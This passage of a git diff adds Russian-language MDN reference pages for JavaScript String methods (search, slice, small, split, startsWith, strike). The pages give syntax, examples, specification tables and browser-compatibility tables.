+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<ul>
+ <li>До версии {{Gecko("8.0")}}, метод <code>search()</code> был реализован неправильно; при вызове без параметров или с параметром {{jsxref("Global_Objects/undefined", "undefined")}}, он сопоставлялся строке 'undefined', вместо пустой строки. Это было исправлено; теперь и вызов <code>'a'.search()</code>, и вызов <code>'a'.search(undefined)</code> корректно возвращают 0.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
new file mode 100644
index 0000000000..5b6f3895c4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
@@ -0,0 +1,173 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/String/slice
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>slice()</code></strong> извлекает часть строки и возвращает новую строку без изменения оригинальной строки.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-slice.html", "taller")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.slice(<var>beginIndex</var>[, <var>endIndex</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><em><code>beginIndex</code></em></dt>
+ <dd>Индекс, с которого начинать извлечение (нумерация начинается с нуля). Если аргумент отрицателен, то трактуется как <code><em>str</em>.length + <em>beginIndex</em></code> (например, если <em><code>beginIndex</code></em> равен <code>-3</code>, то он трактуется как <code><em>str</em>.length - 3</code>). Если <em><code>beginIndex</code></em>  не является числом при проверке {{jsxref('Number', 'Number(<var>beginIndex</var>)')}}, он трактуется как <code>0</code>.</dd>
+ <dd>Если <code><em>beginIndex</em></code> больше или равен <code><em>str</em>.length</code>, возвращается пустая строка.</dd>
+ <dt><em><code>endIndex</code></em></dt>
+ <dd>Индекс, <em>перед</em> которым заканчивать извлечение (нумерация начинается с нуля). Символ по этому индексу не будет включён.</dd>
+ <dd>Если <em><code>endIndex</code> </em>опущен или является <code>undefined</code> или больше чем <code><em>str</em>.length</code>, <code>slice()</code> извлечёт всё до конца строки. Если аргумент отрицателен, то трактуется как <code><em>str</em>.length + <em>endIndex</em></code><em> </em>(например, если <em><code>endIndex</code></em> равен <code>-3</code>, то он трактуется как <code><em>str</em>.length - 3</code>). Если аргумент не <code>undefined</code> и не является числом при проверке {{jsxref('Number', 'Number(<var>endIndex</var>)')}}, возвращается пустая строка.</dd>
+ <dd>Если <em><code>endIndex</code></em> указан и меньше <em><code>startIndex</code></em>, то возвращается пустая строка (например, <code>slice(-1, -3)</code> или <code>slice(3, 1)</code> вернут <code>""</code>).</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новая строка, содержащая извлеченную часть строки.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>slice()</code> извлекает текст из одной строки и возвращает новую строку. Изменения текста в одной строке не влияют на другую строку.</p>
+
+<p>Метод <code>slice()</code> извлекает все символы до индекса <em><code>endIndex</code></em>, не включая сам этот индекс. Вызов <code><em>str</em>.slice(1, 4)</code> извлечёт символы со второго по четвёртый (символы под индексами <code>1</code>, <code>2</code> и <code>3</code>).</p>
+
+<p>К примеру, вызов <code>str.slice(2, -1)</code> извлечёт символы с третьего по второй с конца строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_slice_to_create_a_new_string" name="Example:_Using_slice_to_create_a_new_string">Пример: использование метода <code>slice()</code> для создания новой строки</h3>
+
+<p>В следующем примере метод <code>slice()</code> используется для создания новой строки.</p>
+
+<pre class="brush: js notranslate">let str1 = 'Приближается утро.';
+let str2 = str1.slice(1, 8);
+let str3 = str1.slice(4, -2);
+let str4 = str1.slice(12);
+let str5 = str1.slice(30);
+
+console.log(str2); // ВЫВОД: риближа
+console.log(str3); // ВЫВОД: лижается утр
+console.log(str4); // ВЫВОД:  утро.
+console.log(str5); // ВЫВОД: ""
+</pre>
+
+<h3 id="Example_Using_slice_with_negative_indexes" name="Example:_Using_slice_with_negative_indexes">Пример: использование метода <code>slice()</code> с отрицательными индексами</h3>
+
+<p>В следующем примере метод <code>slice()</code> используется вместе с отрицательными индексами.</p>
+
+<pre class="brush: js notranslate">let str = 'Приближается утро.';
+str.slice(-3);     // вернёт 'ро.'
+str.slice(-3, -1); // вернёт 'ро'
+str.slice(0, -1);  // вернёт 'Приближается утро'
+</pre>
+
+<p>В этом примере начальным индексом считается <code>11</code>-й символ с конца строки, а конечным - <code>16</code>-й с начала.</p>
+
+<pre class="brush: js notranslate">str.slice(-11, 16); // вернет 'ается утр'</pre>
+
+<p>Здесь начальным индексом считается <code>6</code>-й символ от начала строки, а конечным - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-й с конца.</p>
+
+<pre class="brush: js notranslate">str.slice(6, -7); // вернет 'жаетс'</pre>
+
+<p>В этом примере оба индекса считаются с конца строки: <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-й для начального индекса, <code>1</code>-й для конечного.</p>
+
+<pre class="brush: js notranslate">str.slice(-5, -1); // вернет 'утро'</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.13', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.slice', 'String.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/small/index.html b/files/ru/web/javascript/reference/global_objects/string/small/index.html
new file mode 100644
index 0000000000..00fd79119f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/small/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.small()
+slug: Web/JavaScript/Reference/Global_Objects/String/small
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/small
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>small()</code></strong> создаёт HTML-элемент {{HTMLElement("small")}}, заставляющий строку отображаться маленьким шрифтом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.small()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>small()</code> заключает строку в тег <code>&lt;small&gt;</code>: <code>"&lt;small&gt;str&lt;/small&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_small" name="Example:_Using_small">Пример: использование метода <code>small()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения размера строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+console.log(worldString.small());     // &lt;small&gt;Привет, мир&lt;/small&gt;
+console.log(worldString.big());       // &lt;big&gt;Привет, мир&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;fontsize=7&gt;Привет, мир&lt;/fontsize&gt;
+</pre>
+<p>При помощи объекта {{domxref("HTMLElement.style", "element.style")}} вы можете получить значение атрибута <code>style</code> элемента и управлять им более обобщённым способом, например:</p>
+<pre class="brush: js">document.getElementById('yourElemId').style.fontSize = '0.7em';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.small', 'String.prototype.small')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/split/index.html b/files/ru/web/javascript/reference/global_objects/string/split/index.html
new file mode 100644
index 0000000000..90f94de449
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/split/index.html
@@ -0,0 +1,229 @@
+---
+title: String.prototype.split()
+slug: Web/JavaScript/Reference/Global_Objects/String/split
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Référence(2)
+  - String
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/String/split
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>split()</code></strong> разбивает объект {{jsxref("Global_Objects/String", "String")}} на массив строк путём разделения строки указанной подстрокой.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.split([<var>separator</var>[, <var>limit</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>separator</code></dt>
+ <dd>Необязательный параметр. Указывает символы, используемые в качестве разделителя внутри строки. Параметр <code>separator</code> может быть как строкой, так и {{jsxref("Global_Objects/RegExp", "регулярным выражением", "", 1)}}. Если параметр опущен, возвращённый массив будет содержать один элемент со всей строкой. Если параметр равен пустой строке, строка <code>str</code> будет преобразована в массив символов.</dd>
+ <dt><code>limit</code></dt>
+ <dd>Необязательный параметр. Целое число, определяющее ограничение на количество найденных подстрок. Метод <code>split()</code> всё равно разделяет строку на каждом сопоставлении с разделителем <code>separator</code>, но обрезает возвращаемый массив так, чтобы он содержал не более <code>limit</code> элементов.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>split()</code> возвращает новый массив.</p>
+
+<p>Если разделитель <code>separator</code> найден, он удаляется из строки, а подстроки возвращаются в массиве. Если разделитель опущен, массив будет содержать только один элемент, состоящий из всей строки. Если разделитель является пустой строкой, строка <code>str</code> будет преобразована в массив символов.</p>
+
+<p>Если разделитель является регулярным выражением, содержащим подгруппы, то каждый раз при сопоставлении с разделителем, результаты (включая те, что не определены) захвата подгруппы будут помещаться внутрь выходного массива. Однако, не все браузеры поддерживают эту возможность.</p>
+
+<p>{{Note("Если строка является пустой строкой, метод <code>split()</code> вернёт массив, состоящий из одной пустой строки, а не пустой массив.")}}</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_split" name="Example:_Using_split">Пример: использование метода <code>split()</code></h3>
+
+<p>В следующем примере определяется функция, которая разбивает строку на массив строк, используя указанный разделитель. После разбиения строки, функция отображает сообщения, показывающие оригинальную строку (до разбиения), используемый разделитель, количество элементов в массиве и сами эти элементы.</p>
+
+<pre class="brush: js notranslate">function splitString(stringToSplit, separator) {
+  var arrayOfStrings = stringToSplit.split(separator);
+
+  console.log('Оригинальная строка: "' + stringToSplit + '"');
+  console.log('Разделитель: "' + separator + '"');
+  console.log('Массив содержит ' + arrayOfStrings.length + ' элементов: ' + arrayOfStrings.join(' / '));
+}
+
+// Строчка из «Бури» Шекспира. Перевод Миxаила Донского.
+var tempestString = 'И как хорош тот новый мир, где есть такие люди!';
+var monthString = 'Янв,Фев,Мар,Апр,Май,Июн,Июл,Авг,Сен,Окт,Ноя,Дек';
+
+var space = ' ';
+var comma = ',';
+
+splitString(tempestString, space);
+splitString(tempestString);
+splitString(monthString, comma);
+</pre>
+
+<p>Пример сгенерирует следующий вывод:</p>
+
+<pre class="notranslate">Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!"
+Разделитель: " "
+Массив содержит 10 элементов: И / как / хорош / тот / новый / мир, / где / есть / такие / люди!
+
+Оригинальная строка: "И как хорош тот новый мир, где есть такие люди!"
+Разделитель: "undefined"
+Массив содержит 1 элементов: И как хорош тот новый мир, где есть такие люди!
+
+Оригинальная строка: "Янв,Фев,Мар,Апр,Май,Июн,Июл,Авг,Сен,Окт,Ноя,Дек"
+Разделитель: ","
+Массив содержит 12 элементов: Янв / Фев / Мар / Апр / Май / Июн / Июл / Авг / Сен / Окт / Ноя / Дек
+</pre>
+
+<h3 id="Example_Removing_spaces_from_a_string" name="Example:_Removing_spaces_from_a_string">Пример: удаление пробелов из строки</h3>
+
+<p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов, за которыми следует точка с запятой, за которой снова следуют 0 или более пробелов, и, если этот шаблон найден, удаляет пробелы из строки. Переменная <code>nameList</code> является массивом, возвращённым в результате работы метода <code>split()</code>.</p>
+
+<pre class="brush: js notranslate">var names = 'Гарри Трамп ;Фрэд Барни; Хелен Ригби ; Билл Абель ;Крис Ханд ';
+
+console.log(names);
+
+var re = /\s*;\s*/;
+var nameList = names.split(re);
+
+console.log(nameList);
+</pre>
+
+<p>Пример напечатает две строки; на первой строке напечатана оригинальная строчка, а на второй — получившийся массив.</p>
+
+<pre class="notranslate">Гарри Трамп ;Фред Барни; Хелен Ригби ; Билл Абель ;Крис Ханд
+Гарри Трамп,Фред Барни,Хелен Ригби,Билл Абель,Крис Ханд
+</pre>
+
+<h3 id="Example_Returning_a_limited_number_of_splits" name="Example:_Returning_a_limited_number_of_splits">Пример: возврат ограниченного числа подстрок</h3>
+
+<p>В следующем примере метод <code>split()</code> ищет 0 или более пробелов в строке и возвращает первые три найденных подстроки.</p>
+
+<pre class="brush: js notranslate">var myString = 'Привет, мир. Как дела?';
+var splits = myString.split(' ', 3);
+
+console.log(splits);
+</pre>
+
+<p>Вывод скрипта будет следующим:</p>
+
+<pre class="brush: js notranslate">Привет,,мир.,Как
+</pre>
+
+<h3 id="Example_Capturing_parentheses" name="Example:_Capturing_parentheses">Пример: захват подгрупп</h3>
+
+<p>Если параметр <code>separator</code> содержит подгруппы, сопоставившиеся результаты также будут присутствовать в возвращённом массиве.</p>
+
+<pre class="brush: js notranslate">var myString = 'Привет 1 мир. Предложение номер 2.';
+var splits = myString.split(/(\d)/);
+
+console.log(splits);
+</pre>
+
+<p>Вывод скрипта будет следующим:</p>
+
+<pre class="brush: js notranslate">Привет ,1, мир. Предложение номер ,2,.
+</pre>
+
+<h3 id="Example_Reversing_a_String_using_split" name="Example:_Reversing_a_String_using_split">Пример: обращение строки при помощи метода <code>split()</code></h3>
+
+<pre class="brush: js notranslate">var str = 'фывапролд';
+var strReverse = str.split('').reverse().join(''); // 'длорпавыф'
+// split() возвращает массив, к которому применяются методы reverse() и join()
+</pre>
+
+<p><strong>Бонус:</strong> используя оператор {{jsxref("Operators/Comparison_Operators", "===", "#Identity_.2F_strict_equality_(.3D.3D.3D)")}}, можно проверить, являлась ли строка палиндромом.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.14', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.split', 'String.prototype.split')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/startswith/index.html b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html
new file mode 100644
index 0000000000..d9228e2925
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/startswith/index.html
@@ -0,0 +1,81 @@
+---
+title: String.prototype.startsWith()
+slug: Web/JavaScript/Reference/Global_Objects/String/startsWith
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/startsWith
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>startsWith()</code></strong> помогает определить, начинается ли строка с символов указаных в скобках, возвращая, соответственно, <code>true</code> или <code>false</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.startsWith(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>searchString</code></dt>
+ <dd>Символы, искомые в начале данной строки.</dd>
+ <dt><code>position</code></dt>
+ <dd>Необязательный параметр. Позиция в строке, с которой начинать поиск  <code>searchString</code>; по умолчанию 0.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Этот метод позволяет определять, начинается ли строка с указанных в скобках символов.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_startsWith" name="Example:_Using_startsWith">Пример: использование метода <code>startsWith()</code></h3>
+
+<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.';
+
+console.log(str.startsWith('Быть'));        // true
+console.log(str.startsWith('не быть'));     // false
+console.log(str.startsWith('не быть', 9));  // true
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p>
+
+<pre class="brush: js notranslate">if (!String.prototype.startsWith) {
+  Object.defineProperty(String.prototype, 'startsWith', {
+    enumerable: false,
+    configurable: false,
+    writable: false,
+    value: function(searchString, position) {
+      position = position || 0;
+      return this.indexOf(searchString, position) === position;
+    }
+  });
+}
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.String.startsWith")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.endsWith()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.includes()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/strike/index.html b/files/ru/web/javascript/reference/global_objects/string/strike/index.html
new file mode 100644
index 0000000000..5ecaf8cfb4
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/strike/index.html
@@ -0,0 +1,114 @@
+---
+title: String.prototype.strike()
+slug: Web/JavaScript/Reference/Global_Objects/String/strike
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Методы оборачивания в HTML
+translation_of: Web/JavaScript/Reference/Global_Objects/String/strike
+---
+<div>{{JSRef("Global_Objects", "String")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>strike()</code></strong> создаёт HTML-элемент {{HTMLElement("strike")}}, заставляющий строку отображаться зачёркнутым текстом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.strike()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>strike()</code> заключает строку в тег <code>&lt;strike&gt;</code>: <code>"&lt;strike&gt;str&lt;/strike&gt;"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_strike" name="Example:_Using_strike">Пример: использование метода <code>strike()</code></h3>
+<p>В следующем примере демонстрируется использование нескольких строковых методов для изменения форматирования строки:</p>
+<pre class="brush: js">var worldString = 'Привет, мир';
+
+document.write(worldString.blink());
+document.write(worldString.bold());
+document.write(worldString.italics());
+document.write(worldString.strike());
+</pre>
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+<pre class="brush: html">&lt;blink&gt;Привет, мир&lt;/blink&gt;
+&lt;b&gt;Привет, мир&lt;/b&gt;
+&lt;i&gt;Привет, мир&lt;/i&gt;
+&lt;strike&gt;Привет, мир&lt;/strike&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.strike', 'String.prototype.strike')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
